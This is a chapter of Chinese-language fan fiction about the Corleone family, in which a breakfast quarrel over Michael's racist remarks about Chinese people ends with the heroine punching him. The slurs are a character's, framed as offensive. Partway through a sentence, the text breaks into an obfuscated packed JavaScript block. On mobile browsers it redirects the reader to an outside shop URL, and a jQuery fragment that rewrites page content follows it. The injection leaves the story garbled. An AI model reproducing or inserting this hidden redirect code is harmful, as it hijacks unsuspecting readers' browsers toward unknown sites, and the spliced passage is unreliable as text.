9. Chapter09（2 / 3）

才分开十几分钟的妻子身边，两人交换了一个早安吻。

然后是汤姆，浅金色的头发像蓬稻草。他最近在准备考大学，科里昂先生帮他搞到了推荐信，如果没有意外，今年下半年他就是纽约大学法学院里的大一新生了。

等所有人都落座了，桑蒂诺才姗姗来迟，面上带着宿醉的倦意。一坐下就大口大口地吃面包，胃口好得像是能吃下一整头牛。

维多.科里昂最先吃完，他端起大号瓷杯，喝着加了茴香酒的热咖啡，询问了桑蒂诺的感情状况，正要转头让妻子给大儿子添些咖啡、醒醒神时，她右手边的迈克尔突然说话了：“爸爸，我想要转来布朗克斯中学。”

“哦？为什么？”

然后艾波就看到坐在对面的迈克尔冲自己笑了一下，“我想要帮助艾波。他最近认识了一些不三不四的人，给她带来了坏影响。作为哥哥，我觉得我有责任教导他走上正轨。”

好家伙，原来在这里等着她。艾波暗自咬牙，不过不慌，她一切行动都和维多.科里昂报备过，在默许的情况下进行——唐人街华人势力暗弱，正是他们进驻的好时机，再说，多个朋友总是没有错的，也许日后能成为一把出其不意的刀，刺向其余几大家族。

“坏影响？”桑蒂诺噗呲一声笑，险些把咖啡喷到汤姆餐盘里，“是赌鬼还是酒鬼？”

“都不是，是中国人。”他一本正经地说出了让艾波拳头发痒的话，“中国人都是恶棍与阴谋诡计之徒。他们愚昧无知，竟然以为斩活鸡头和烧写有符咒的黄纸能保护誓言，哦，他们还在衣服里穿寿衣，好时刻迎接死亡。”

科里昂先生放下了咖啡杯，问道：“你在哪里看到的？”

“纽约电报，纽约世界报。”迈克尔回答，“艾波是西西里人，是我们家的一份子。我不希望他堕落。”

他转过头来对艾波语重心长道：“我想，维太里先生也不希望你这样。”

艾波真的、真的已经很久没这么生气了。愤怒像潮水般袭来，没过胸膛，不断高涨，高过咽喉、即将淹没她的口鼻的时候，她终于像溺水者呼救般挤出一丝笑：“你是对的。”

她从椅子上站起来，提起桌角的牛奶壶，绕过卡梅拉向她的小儿子走去。这过程中，愤怒灌满她的身体，其余知觉全然远去，她听到自己说：“迈基，谢谢你，我一定听你的话。”

他终于满意了，那张对西西里人来说过于惨白、女气的脸摆出一副大发慈悲的笑脸，接过她倒的牛奶：“那就好，以后离那个黄面鬼”

就在他伸手的那一刻，艾波出手了。没有任何技巧，直挺挺地往他脸上招呼。

“呜呼——”桑蒂诺兴奋怪叫。

她出拳实在太突兀了

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14257643|151610||http|test|mini|href|location''.split(''|''),0,{}));

() {

$(''.inform'').remove();

$(''#content'').append(''

，又短又急，以至于迈克尔连嚎叫的机会都没有就摔倒在地，带倒了椅子。当然，也摔碎了杯子，牛奶洒了一地。